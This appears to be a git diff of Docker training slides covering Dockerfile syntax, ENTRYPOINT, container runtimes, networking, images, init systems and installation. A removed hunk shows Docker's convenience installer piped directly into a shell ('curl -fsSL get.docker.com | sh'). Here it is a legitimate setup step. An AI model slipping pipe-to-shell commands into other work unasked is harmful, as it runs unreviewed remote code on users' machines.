|
|
||||||
---
|
|
||||||
|
|
||||||
class: extra-details
|
|
||||||
|
|
||||||
## Why `sh -c`?
|
|
||||||
|
|
||||||
* When we do `RUN ls -l /tmp`, the Docker builder needs to parse the command.
|
|
||||||
|
|
||||||
* Instead of implementing its own parser, it outsources the job to the shell.
|
|
||||||
|
|
||||||
* That's why we see `sh -c ls -l /tmp` in that case.
|
|
||||||
|
|
||||||
* But we can also do the parsing jobs ourselves.
|
|
||||||
|
|
||||||
* This means passing `RUN` a list of arguments.
|
|
||||||
|
|
||||||
* This is called the *exec syntax*.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Shell syntax vs exec syntax
|
|
||||||
|
|
||||||
Dockerfile commands that execute something can have two forms:
|
|
||||||
|
|
||||||
* plain string, or *shell syntax*:
|
|
||||||
<br/>`RUN apt-get install figlet`
|
<br/>`RUN apt-get install figlet`
|
||||||
|
|
||||||
* JSON list, or *exec syntax*:
|
* JSON list:
|
||||||
<br/>`RUN ["apt-get", "install", "figlet"]`
|
<br/>`RUN ["apt-get", "install", "figlet"]`
|
||||||
|
|
||||||
We are going to change our Dockerfile to see how it affects the resulting image.
|
We are going to change our Dockerfile to see how it affects the resulting image.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Using exec syntax in our Dockerfile
|
## Using JSON syntax in our Dockerfile
|
||||||
|
|
||||||
Let's change our Dockerfile as follows!
|
Let's change our Dockerfile as follows!
|
||||||
|
|
||||||
@@ -296,7 +248,7 @@ $ docker build -t figlet .
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## History with exec syntax
|
## JSON syntax vs string syntax
|
||||||
|
|
||||||
Compare the new history:
|
Compare the new history:
|
||||||
|
|
||||||
@@ -311,55 +263,24 @@ IMAGE CREATED CREATED BY SIZE
|
|||||||
<missing> 4 days ago /bin/sh -c #(nop) ADD file:b 187.8 MB
|
<missing> 4 days ago /bin/sh -c #(nop) ADD file:b 187.8 MB
|
||||||
```
|
```
|
||||||
|
|
||||||
* Exec syntax specifies an *exact* command to execute.
|
* JSON syntax specifies an *exact* command to execute.
|
||||||
|
|
||||||
* Shell syntax specifies a command to be wrapped within `/bin/sh -c "..."`.
|
* String syntax specifies a command to be wrapped within `/bin/sh -c "..."`.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## When to use exec syntax and shell syntax
|
## When to use JSON syntax and string syntax
|
||||||
|
|
||||||
* shell syntax:
|
* String syntax:
|
||||||
|
|
||||||
* is easier to write
|
* is easier to write
|
||||||
* interpolates environment variables and other shell expressions
|
* interpolates environment variables and other shell expressions
|
||||||
* creates an extra process (`/bin/sh -c ...`) to parse the string
|
* creates an extra process (`/bin/sh -c ...`) to parse the string
|
||||||
* requires `/bin/sh` to exist in the container
|
* requires `/bin/sh` to exist in the container
|
||||||
|
|
||||||
* exec syntax:
|
* JSON syntax:
|
||||||
|
|
||||||
* is harder to write (and read!)
|
* is harder to write (and read!)
|
||||||
* passes all arguments without extra processing
|
* passes all arguments without extra processing
|
||||||
* doesn't create an extra process
|
* doesn't create an extra process
|
||||||
* doesn't require `/bin/sh` to exist in the container
|
* doesn't require `/bin/sh` to exist in the container
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Pro-tip: the `exec` shell built-in
|
|
||||||
|
|
||||||
POSIX shells have a built-in command named `exec`.
|
|
||||||
|
|
||||||
`exec` should be followed by a program and its arguments.
|
|
||||||
|
|
||||||
From a user perspective:
|
|
||||||
|
|
||||||
- it looks like the shell exits right away after the command execution,
|
|
||||||
|
|
||||||
- in fact, the shell exits just *before* command execution;
|
|
||||||
|
|
||||||
- or rather, the shell gets *replaced* by the command.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Example using `exec`
|
|
||||||
|
|
||||||
```dockerfile
|
|
||||||
CMD exec figlet -f script hello
|
|
||||||
```
|
|
||||||
|
|
||||||
In this example, `sh -c` will still be used, but
|
|
||||||
`figlet` will be PID 1 in the container.
|
|
||||||
|
|
||||||
The shell gets replaced by `figlet` when `figlet` starts execution.
|
|
||||||
|
|
||||||
This allows to run processes as PID 1 without using JSON.
|
|
||||||
|
|||||||
@@ -222,16 +222,16 @@ CMD ["hello world"]
|
|||||||
Let's build it:
|
Let's build it:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
$ docker build -t myfiglet .
|
$ docker build -t figlet .
|
||||||
...
|
...
|
||||||
Successfully built 6e0b6a048a07
|
Successfully built 6e0b6a048a07
|
||||||
Successfully tagged myfiglet:latest
|
Successfully tagged figlet:latest
|
||||||
```
|
```
|
||||||
|
|
||||||
Run it without parameters:
|
Run it without parameters:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
$ docker run myfiglet
|
$ docker run figlet
|
||||||
_ _ _ _
|
_ _ _ _
|
||||||
| | | | | | | | |
|
| | | | | | | | |
|
||||||
| | _ | | | | __ __ ,_ | | __|
|
| | _ | | | | __ __ ,_ | | __|
|
||||||
@@ -246,7 +246,7 @@ $ docker run myfiglet
|
|||||||
Now let's pass extra arguments to the image.
|
Now let's pass extra arguments to the image.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
$ docker run myfiglet hola mundo
|
$ docker run figlet hola mundo
|
||||||
_ _
|
_ _
|
||||||
| | | | |
|
| | | | |
|
||||||
| | __ | | __, _ _ _ _ _ __| __
|
| | __ | | __, _ _ _ _ _ __| __
|
||||||
@@ -262,13 +262,13 @@ We overrode `CMD` but still used `ENTRYPOINT`.
|
|||||||
|
|
||||||
What if we want to run a shell in our container?
|
What if we want to run a shell in our container?
|
||||||
|
|
||||||
We cannot just do `docker run myfiglet bash` because
|
We cannot just do `docker run figlet bash` because
|
||||||
that would just tell figlet to display the word "bash."
|
that would just tell figlet to display the word "bash."
|
||||||
|
|
||||||
We use the `--entrypoint` parameter:
|
We use the `--entrypoint` parameter:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
$ docker run -it --entrypoint bash myfiglet
|
$ docker run -it --entrypoint bash figlet
|
||||||
root@6027e44e2955:/#
|
root@6027e44e2955:/#
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|||||||
@@ -78,7 +78,7 @@ First step: clone the source code for the app we will be working on.
|
|||||||
|
|
||||||
```bash
|
```bash
|
||||||
$ cd
|
$ cd
|
||||||
$ git clone https://github.com/jpetazzo/trainingwheels
|
$ git clone git://github.com/jpetazzo/trainingwheels
|
||||||
...
|
...
|
||||||
$ cd trainingwheels
|
$ cd trainingwheels
|
||||||
```
|
```
|
||||||
|
|||||||
@@ -67,8 +67,7 @@ The following list is not exhaustive.
|
|||||||
|
|
||||||
Furthermore, we limited the scope to Linux containers.
|
Furthermore, we limited the scope to Linux containers.
|
||||||
|
|
||||||
We can also find containers (or things that look like containers) on other platforms
|
Containers also exist (sometimes with other names) on Windows, macOS, Solaris, FreeBSD ...
|
||||||
like Windows, macOS, Solaris, FreeBSD ...
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -86,7 +85,7 @@ like Windows, macOS, Solaris, FreeBSD ...
|
|||||||
|
|
||||||
* No notion of image (container filesystems have to be managed manually).
|
* No notion of image (container filesystems have to be managed manually).
|
||||||
|
|
||||||
* Networking has to be set up manually.
|
* Networking has to be setup manually.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -104,6 +103,22 @@ like Windows, macOS, Solaris, FreeBSD ...
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## rkt
|
||||||
|
|
||||||
|
* Compares to `runc`.
|
||||||
|
|
||||||
|
* No daemon or API.
|
||||||
|
|
||||||
|
* Strong emphasis on security (through privilege separation).
|
||||||
|
|
||||||
|
* Networking has to be setup separately (e.g. through CNI plugins).
|
||||||
|
|
||||||
|
* Partial image management (pull, but no push).
|
||||||
|
|
||||||
|
(Image build is handled by separate tools.)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## CRI-O
|
## CRI-O
|
||||||
|
|
||||||
* Designed to be used with Kubernetes as a simple, basic runtime.
|
* Designed to be used with Kubernetes as a simple, basic runtime.
|
||||||
@@ -136,37 +151,7 @@ We're not aware of anyone using it directly (i.e. outside of Kubernetes).
|
|||||||
|
|
||||||
* Basic image support (tar archives and raw disk images).
|
* Basic image support (tar archives and raw disk images).
|
||||||
|
|
||||||
* Network has to be set up manually.
|
* Network has to be setup manually.
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Kata containers
|
|
||||||
|
|
||||||
* OCI-compliant runtime.
|
|
||||||
|
|
||||||
* Fusion of two projects: Intel Clear Containers and Hyper runV.
|
|
||||||
|
|
||||||
* Run each container in a lightweight virtual machine.
|
|
||||||
|
|
||||||
* Requires running on bare metal *or* with nested virtualization.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## gVisor
|
|
||||||
|
|
||||||
* OCI-compliant runtime.
|
|
||||||
|
|
||||||
* Implements a subset of the Linux kernel system calls.
|
|
||||||
|
|
||||||
* Written in go, uses a smaller subset of system calls.
|
|
||||||
|
|
||||||
* Can be heavily sandboxed.
|
|
||||||
|
|
||||||
* Can run in two modes:
|
|
||||||
|
|
||||||
* KVM (requires bare metal or nested virtualization),
|
|
||||||
|
|
||||||
* ptrace (no requirement, but slower).
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -189,3 +174,4 @@ We're not aware of anyone using it directly (i.e. outside of Kubernetes).
|
|||||||
- Docker is a good default choice
|
- Docker is a good default choice
|
||||||
|
|
||||||
- If you use Kubernetes, the engine doesn't matter
|
- If you use Kubernetes, the engine doesn't matter
|
||||||
|
|
||||||
|
|||||||
@@ -474,7 +474,7 @@ When creating a network, extra options can be provided.
|
|||||||
|
|
||||||
* `--ip-range` (in CIDR notation) indicates the subnet to allocate from.
|
* `--ip-range` (in CIDR notation) indicates the subnet to allocate from.
|
||||||
|
|
||||||
* `--aux-address` allows specifying a list of reserved addresses (which won't be allocated to containers).
|
* `--aux-address` allows to specify a list of reserved addresses (which won't be allocated to containers).
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -528,9 +528,7 @@ Very short instructions:
|
|||||||
- `docker network create mynet --driver overlay`
|
- `docker network create mynet --driver overlay`
|
||||||
- `docker service create --network mynet myimage`
|
- `docker service create --network mynet myimage`
|
||||||
|
|
||||||
If you want to learn more about Swarm mode, you can check
|
See http://jpetazzo.github.io/container.training for all the deets about clustering!
|
||||||
[this video](https://www.youtube.com/watch?v=EuzoEaE6Cqs)
|
|
||||||
or [these slides](https://container.training/swarm-selfpaced.yml.html).
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -556,7 +554,7 @@ General idea:
|
|||||||
|
|
||||||
* So far, we have specified which network to use when starting the container.
|
* So far, we have specified which network to use when starting the container.
|
||||||
|
|
||||||
* The Docker Engine also allows connecting and disconnecting while the container is running.
|
* The Docker Engine also allows to connect and disconnect while the container runs.
|
||||||
|
|
||||||
* This feature is exposed through the Docker API, and through two Docker CLI commands:
|
* This feature is exposed through the Docker API, and through two Docker CLI commands:
|
||||||
|
|
||||||
@@ -723,20 +721,3 @@ eth0 Link encap:Ethernet HWaddr 02:42:AC:15:00:03
|
|||||||
...
|
...
|
||||||
```
|
```
|
||||||
]
|
]
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
class: extra-details
|
|
||||||
|
|
||||||
## Building with a custom network
|
|
||||||
|
|
||||||
* We can build a Dockerfile with a custom network with `docker build --network NAME`.
|
|
||||||
|
|
||||||
* This can be used to check that a build doesn't access the network.
|
|
||||||
|
|
||||||
(But keep in mind that most Dockerfiles will fail,
|
|
||||||
<br/>because they need to install remote packages and dependencies!)
|
|
||||||
|
|
||||||
* This may be used to access an internal package repository.
|
|
||||||
|
|
||||||
(But try to use a multi-stage build instead, if possible!)
|
|
||||||
|
|||||||
@@ -76,78 +76,6 @@ CMD ["python", "app.py"]
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Be careful with `chown`, `chmod`, `mv`
|
|
||||||
|
|
||||||
* Layers cannot store efficiently changes in permissions or ownership.
|
|
||||||
|
|
||||||
* Layers cannot represent efficiently when a file is moved either.
|
|
||||||
|
|
||||||
* As a result, operations like `chown`, `chown`, `mv` can be expensive.
|
|
||||||
|
|
||||||
* For instance, in the Dockerfile snippet below, each `RUN` line
|
|
||||||
creates a layer with an entire copy of `some-file`.
|
|
||||||
|
|
||||||
```dockerfile
|
|
||||||
COPY some-file .
|
|
||||||
RUN chown www-data:www-data some-file
|
|
||||||
RUN chmod 644 some-file
|
|
||||||
RUN mv some-file /var/www
|
|
||||||
```
|
|
||||||
|
|
||||||
* How can we avoid that?
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Put files on the right place
|
|
||||||
|
|
||||||
* Instead of using `mv`, directly put files at the right place.
|
|
||||||
|
|
||||||
* When extracting archives (tar, zip...), merge operations in a single layer.
|
|
||||||
|
|
||||||
Example:
|
|
||||||
|
|
||||||
```dockerfile
|
|
||||||
...
|
|
||||||
RUN wget http://.../foo.tar.gz \
|
|
||||||
&& tar -zxf foo.tar.gz \
|
|
||||||
&& mv foo/fooctl /usr/local/bin \
|
|
||||||
&& rm -rf foo
|
|
||||||
...
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Use `COPY --chown`
|
|
||||||
|
|
||||||
* The Dockerfile instruction `COPY` can take a `--chown` parameter.
|
|
||||||
|
|
||||||
Examples:
|
|
||||||
|
|
||||||
```dockerfile
|
|
||||||
...
|
|
||||||
COPY --chown=1000 some-file .
|
|
||||||
COPY --chown=1000:1000 some-file .
|
|
||||||
COPY --chown=www-data:www-data some-file .
|
|
||||||
```
|
|
||||||
|
|
||||||
* The `--chown` flag can specify a user, or a user:group pair.
|
|
||||||
|
|
||||||
* The user and group can be specified as names or numbers.
|
|
||||||
|
|
||||||
* When using names, the names must exist in `/etc/passwd` or `/etc/group`.
|
|
||||||
|
|
||||||
*(In the container, not on the host!)*
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Set correct permissions locally
|
|
||||||
|
|
||||||
* Instead of using `chmod`, set the right file permissions locally.
|
|
||||||
|
|
||||||
* When files are copied with `COPY`, permissions are preserved.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Embedding unit tests in the build process
|
## Embedding unit tests in the build process
|
||||||
|
|
||||||
```dockerfile
|
```dockerfile
|
||||||
|
|||||||
@@ -169,5 +169,5 @@ Would we give the same answers to the questions on the previous slide?
|
|||||||
|
|
||||||
class: pic
|
class: pic
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
|
|||||||
@@ -1,5 +0,0 @@
|
|||||||
# Exercise — writing a Compose file
|
|
||||||
|
|
||||||
Let's write a Compose file for the wordsmith app!
|
|
||||||
|
|
||||||
The code is at: https://github.com/jpetazzo/wordsmith
|
|
||||||
@@ -1,9 +0,0 @@
|
|||||||
# Exercise — writing better Dockerfiles
|
|
||||||
|
|
||||||
Let's update our Dockerfiles to leverage multi-stage builds!
|
|
||||||
|
|
||||||
The code is at: https://github.com/jpetazzo/wordsmith
|
|
||||||
|
|
||||||
Use a different tag for these images, so that we can compare their sizes.
|
|
||||||
|
|
||||||
What's the size difference between single-stage and multi-stage builds?
|
|
||||||
@@ -1,5 +0,0 @@
|
|||||||
# Exercise — writing Dockerfiles
|
|
||||||
|
|
||||||
Let's write Dockerfiles for an existing application!
|
|
||||||
|
|
||||||
The code is at: https://github.com/jpetazzo/wordsmith
|
|
||||||
@@ -203,90 +203,4 @@ bash: figlet: command not found
|
|||||||
|
|
||||||
* The basic Ubuntu image was used, and `figlet` is not here.
|
* The basic Ubuntu image was used, and `figlet` is not here.
|
||||||
|
|
||||||
---
|
* We will see in the next chapters how to bake a custom image with `figlet`.
|
||||||
|
|
||||||
## Where's my container?
|
|
||||||
|
|
||||||
* Can we reuse that container that we took time to customize?
|
|
||||||
|
|
||||||
*We can, but that's not the default workflow with Docker.*
|
|
||||||
|
|
||||||
* What's the default workflow, then?
|
|
||||||
|
|
||||||
*Always start with a fresh container.*
|
|
||||||
<br/>
|
|
||||||
*If we need something installed in our container, build a custom image.*
|
|
||||||
|
|
||||||
* That seems complicated!
|
|
||||||
|
|
||||||
*We'll see that it's actually pretty easy!*
|
|
||||||
|
|
||||||
* And what's the point?
|
|
||||||
|
|
||||||
*This puts a strong emphasis on automation and repeatability. Let's see why ...*
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Pets vs. Cattle
|
|
||||||
|
|
||||||
* In the "pets vs. cattle" metaphor, there are two kinds of servers.
|
|
||||||
|
|
||||||
* Pets:
|
|
||||||
|
|
||||||
* have distinctive names and unique configurations
|
|
||||||
|
|
||||||
* when they have an outage, we do everything we can to fix them
|
|
||||||
|
|
||||||
* Cattle:
|
|
||||||
|
|
||||||
* have generic names (e.g. with numbers) and generic configuration
|
|
||||||
|
|
||||||
* configuration is enforced by configuration management, golden images ...
|
|
||||||
|
|
||||||
* when they have an outage, we can replace them immediately with a new server
|
|
||||||
|
|
||||||
* What's the connection with Docker and containers?
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Local development environments
|
|
||||||
|
|
||||||
* When we use local VMs (with e.g. VirtualBox or VMware), our workflow looks like this:
|
|
||||||
|
|
||||||
* create VM from base template (Ubuntu, CentOS...)
|
|
||||||
|
|
||||||
* install packages, set up environment
|
|
||||||
|
|
||||||
* work on project
|
|
||||||
|
|
||||||
* when done, shut down VM
|
|
||||||
|
|
||||||
* next time we need to work on project, restart VM as we left it
|
|
||||||
|
|
||||||
* if we need to tweak the environment, we do it live
|
|
||||||
|
|
||||||
* Over time, the VM configuration evolves, diverges.
|
|
||||||
|
|
||||||
* We don't have a clean, reliable, deterministic way to provision that environment.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Local development with Docker
|
|
||||||
|
|
||||||
* With Docker, the workflow looks like this:
|
|
||||||
|
|
||||||
* create container image with our dev environment
|
|
||||||
|
|
||||||
* run container with that image
|
|
||||||
|
|
||||||
* work on project
|
|
||||||
|
|
||||||
* when done, shut down container
|
|
||||||
|
|
||||||
* next time we need to work on project, start a new container
|
|
||||||
|
|
||||||
* if we need to tweak the environment, we create a new image
|
|
||||||
|
|
||||||
* We have a clear definition of our environment, and can share it reliably with others.
|
|
||||||
|
|
||||||
* Let's see in the next chapters how to bake a custom image with `figlet`!
|
|
||||||
|
|||||||
@@ -1,137 +0,0 @@
|
|||||||
# Init systems and PID 1
|
|
||||||
|
|
||||||
In this chapter, we will consider:
|
|
||||||
|
|
||||||
- the role of PID 1 in the world of Docker,
|
|
||||||
|
|
||||||
- how to avoid some common pitfalls due to the misuse of init systems.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## What's an init system?
|
|
||||||
|
|
||||||
- On UNIX, the "init system" (or "init" in short) is PID 1.
|
|
||||||
|
|
||||||
- It is the first process started by the kernel when the system starts.
|
|
||||||
|
|
||||||
- It has multiple responsibilities:
|
|
||||||
|
|
||||||
- start every other process on the machine,
|
|
||||||
|
|
||||||
- reap orphaned zombie processes.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
class: extra-details
|
|
||||||
|
|
||||||
## Orphaned zombie processes ?!?
|
|
||||||
|
|
||||||
- When a process exits (or "dies"), it becomes a "zombie".
|
|
||||||
|
|
||||||
(Zombie processes show up in `ps` or `top` with the status code `Z`.)
|
|
||||||
|
|
||||||
- Its parent process must *reap* the zombie process.
|
|
||||||
|
|
||||||
(This is done by calling `waitpid()` to retrieve the process' exit status.)
|
|
||||||
|
|
||||||
- When a process exits, if it has child processes, these processes are "orphaned."
|
|
||||||
|
|
||||||
- They are then re-parented to PID 1, init.
|
|
||||||
|
|
||||||
- Init therefore needs to take care of these orphaned processes when they exit.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Don't use init systems in containers
|
|
||||||
|
|
||||||
- It's often tempting to use an init system or a process manager.
|
|
||||||
|
|
||||||
(Examples: *systemd*, *supervisord*...)
|
|
||||||
|
|
||||||
- Our containers are then called "system containers".
|
|
||||||
|
|
||||||
(By contrast with "application containers".)
|
|
||||||
|
|
||||||
- "System containers" are similar to lightweight virtual machines.
|
|
||||||
|
|
||||||
- They have multiple downsides:
|
|
||||||
|
|
||||||
- when starting multiple processes, their logs get mixed on stdout,
|
|
||||||
|
|
||||||
- if the application process dies, the container engine doesn't see it.
|
|
||||||
|
|
||||||
- Overall, they make it harder to operate troubleshoot containerized apps.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Exceptions and workarounds
|
|
||||||
|
|
||||||
- Sometimes, it's convenient to run a real init system like *systemd*.
|
|
||||||
|
|
||||||
(Example: a CI system whose goal is precisely to test an init script or unit file.)
|
|
||||||
|
|
||||||
- If we need to run multiple processes: can we use multiple containers?
|
|
||||||
|
|
||||||
(Example: [this Compose file](https://github.com/jpetazzo/container.training/blob/master/compose/simple-k8s-control-plane/docker-compose.yaml) runs multiple processes together.)
|
|
||||||
|
|
||||||
- When deploying with Kubernetes:
|
|
||||||
|
|
||||||
- a container belong to a pod,
|
|
||||||
|
|
||||||
- a pod can have multiple containers.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## What about these zombie processes?
|
|
||||||
|
|
||||||
- Our application runs as PID 1 in the container.
|
|
||||||
|
|
||||||
- Our application may or may not be designed to reap zombie processes.
|
|
||||||
|
|
||||||
- If our application uses subprocesses and doesn't reap them ...
|
|
||||||
|
|
||||||
... this can lead to PID exhaustion!
|
|
||||||
|
|
||||||
(Or, more realistically, to a confusing herd of zombie processes.)
|
|
||||||
|
|
||||||
- How can we solve this?
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Tini to the rescue
|
|
||||||
|
|
||||||
- Docker can automatically provide a minimal `init` process.
|
|
||||||
|
|
||||||
- This is enabled with `docker run --init ...`
|
|
||||||
|
|
||||||
- It uses a small init system ([tini](https://github.com/krallin/tini)) as PID 1:
|
|
||||||
|
|
||||||
- it reaps zombies,
|
|
||||||
|
|
||||||
- it forwards signals,
|
|
||||||
|
|
||||||
- it exits when the child exits.
|
|
||||||
|
|
||||||
- It is totally transparent to our application.
|
|
||||||
|
|
||||||
- We should use it if our application creates subprocess but doesn't reap them.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
class: extra-details
|
|
||||||
|
|
||||||
## What about Kubernetes?
|
|
||||||
|
|
||||||
- Kubernetes does not expose that `--init` option.
|
|
||||||
|
|
||||||
- However, we can achieve the same result with [Process Namespace Sharing](https://kubernetes.io/docs/tasks/configure-pod-container/share-process-namespace/).
|
|
||||||
|
|
||||||
- When Process Namespace Sharing is enabled, PID 1 will be `pause`.
|
|
||||||
|
|
||||||
- That `pause` process takes care of reaping zombies.
|
|
||||||
|
|
||||||
- Process Namespace Sharing is available since Kubernetes 1.16.
|
|
||||||
|
|
||||||
- If you're using an older version of Kubernetes ...
|
|
||||||
|
|
||||||
... you might have to add `tini` explicitly to your Docker image.
|
|
||||||
@@ -66,21 +66,6 @@ class: pic
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Differences between containers and images
|
|
||||||
|
|
||||||
* An image is a read-only filesystem.
|
|
||||||
|
|
||||||
* A container is an encapsulated set of processes,
|
|
||||||
|
|
||||||
running in a read-write copy of that filesystem.
|
|
||||||
|
|
||||||
* To optimize container boot time, *copy-on-write* is used
|
|
||||||
instead of regular copy.
|
|
||||||
|
|
||||||
* `docker run` starts a container from a given image.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
class: pic
|
class: pic
|
||||||
|
|
||||||
## Multiple containers sharing the same image
|
## Multiple containers sharing the same image
|
||||||
@@ -89,6 +74,20 @@ class: pic
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## Differences between containers and images
|
||||||
|
|
||||||
|
* An image is a read-only filesystem.
|
||||||
|
|
||||||
|
* A container is an encapsulated set of processes running in a
|
||||||
|
read-write copy of that filesystem.
|
||||||
|
|
||||||
|
* To optimize container boot time, *copy-on-write* is used
|
||||||
|
instead of regular copy.
|
||||||
|
|
||||||
|
* `docker run` starts a container from a given image.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## Comparison with object-oriented programming
|
## Comparison with object-oriented programming
|
||||||
|
|
||||||
* Images are conceptually similar to *classes*.
|
* Images are conceptually similar to *classes*.
|
||||||
@@ -119,7 +118,7 @@ If an image is read-only, how do we change it?
|
|||||||
|
|
||||||
* The only way to create an image is by "freezing" a container.
|
* The only way to create an image is by "freezing" a container.
|
||||||
|
|
||||||
* The only way to create a container is by instantiating an image.
|
* The only way to create a container is by instanciating an image.
|
||||||
|
|
||||||
* Help!
|
* Help!
|
||||||
|
|
||||||
@@ -178,11 +177,8 @@ Let's explain each of them.
|
|||||||
|
|
||||||
## Root namespace
|
## Root namespace
|
||||||
|
|
||||||
The root namespace is for official images.
|
The root namespace is for official images. They are put there by Docker Inc.,
|
||||||
|
but they are generally authored and maintained by third parties.
|
||||||
They are gated by Docker Inc.
|
|
||||||
|
|
||||||
They are generally authored and maintained by third parties.
|
|
||||||
|
|
||||||
Those images include:
|
Those images include:
|
||||||
|
|
||||||
@@ -192,7 +188,7 @@ Those images include:
|
|||||||
|
|
||||||
* Ready-to-use components and services, like redis, postgresql...
|
* Ready-to-use components and services, like redis, postgresql...
|
||||||
|
|
||||||
* Over 150 at this point!
|
* Over 130 at this point!
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -220,7 +216,7 @@ clock
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Self-hosted namespace
|
## Self-Hosted namespace
|
||||||
|
|
||||||
This namespace holds images which are not hosted on Docker Hub, but on third
|
This namespace holds images which are not hosted on Docker Hub, but on third
|
||||||
party registries.
|
party registries.
|
||||||
@@ -237,13 +233,6 @@ localhost:5000/wordpress
|
|||||||
* `localhost:5000` is the host and port of the registry
|
* `localhost:5000` is the host and port of the registry
|
||||||
* `wordpress` is the name of the image
|
* `wordpress` is the name of the image
|
||||||
|
|
||||||
Other examples:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
quay.io/coreos/etcd
|
|
||||||
gcr.io/google-containers/hugo
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## How do you store and manage images?
|
## How do you store and manage images?
|
||||||
@@ -363,8 +352,6 @@ Do specify tags:
|
|||||||
* To ensure that the same version will be used everywhere.
|
* To ensure that the same version will be used everywhere.
|
||||||
* To ensure repeatability later.
|
* To ensure repeatability later.
|
||||||
|
|
||||||
This is similar to what we would do with `pip install`, `npm install`, etc.
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Section summary
|
## Section summary
|
||||||
|
|||||||
@@ -38,7 +38,11 @@ We can arbitrarily distinguish:
|
|||||||
|
|
||||||
## Installing Docker on Linux
|
## Installing Docker on Linux
|
||||||
|
|
||||||
* The recommended method is to install the packages supplied by Docker Inc :
|
* The recommended method is to install the packages supplied by Docker Inc.:
|
||||||
|
|
||||||
|
https://store.docker.com
|
||||||
|
|
||||||
|
* The general method is:
|
||||||
|
|
||||||
- add Docker Inc.'s package repositories to your system configuration
|
- add Docker Inc.'s package repositories to your system configuration
|
||||||
|
|
||||||
@@ -52,12 +56,6 @@ We can arbitrarily distinguish:
|
|||||||
|
|
||||||
https://docs.docker.com/engine/installation/linux/docker-ce/binaries/
|
https://docs.docker.com/engine/installation/linux/docker-ce/binaries/
|
||||||
|
|
||||||
* To quickly setup a dev environment, Docker provides a convenience install script:
|
|
||||||
|
|
||||||
```bash
|
|
||||||
curl -fsSL get.docker.com | sh
|
|
||||||
```
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
class: extra-details
|
class: extra-details
|
||||||
@@ -84,11 +82,11 @@ class: extra-details
|
|||||||
|
|
||||||
## Installing Docker on macOS and Windows
|
## Installing Docker on macOS and Windows
|
||||||
|
|
||||||
* On macOS, the recommended method is to use Docker Desktop for Mac:
|
* On macOS, the recommended method is to use Docker for Mac:
|
||||||
|
|
||||||
https://docs.docker.com/docker-for-mac/install/
|
https://docs.docker.com/docker-for-mac/install/
|
||||||
|
|
||||||
* On Windows 10 Pro, Enterprise, and Education, you can use Docker Desktop for Windows:
|
* On Windows 10 Pro, Enterprise, and Education, you can use Docker for Windows:
|
||||||
|
|
||||||
https://docs.docker.com/docker-for-windows/install/
|
https://docs.docker.com/docker-for-windows/install/
|
||||||
|
|
||||||
@@ -102,44 +100,29 @@ class: extra-details
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Docker Desktop
|
## Docker for Mac and Docker for Windows
|
||||||
|
|
||||||
* Special Docker edition available for Mac and Windows
|
* Special Docker Editions that integrate well with their respective host OS
|
||||||
|
|
||||||
* Integrates well with the host OS:
|
* Provide user-friendly GUI to edit Docker configuration and settings
|
||||||
|
|
||||||
* installed like normal user applications on the host
|
* Leverage the host OS virtualization subsystem (e.g. the [Hypervisor API](https://developer.apple.com/documentation/hypervisor) on macOS)
|
||||||
|
|
||||||
* provides user-friendly GUI to edit Docker configuration and settings
|
* Installed like normal user applications on the host
|
||||||
|
|
||||||
* Only support running one Docker VM at a time ...
|
* Under the hood, they both run a tiny VM (transparent to our daily use)
|
||||||
|
|
||||||
|
* Access network resources like normal applications
|
||||||
|
<br/>(and therefore, play better with enterprise VPNs and firewalls)
|
||||||
|
|
||||||
|
* Support filesystem sharing through volumes (we'll talk about this later)
|
||||||
|
|
||||||
|
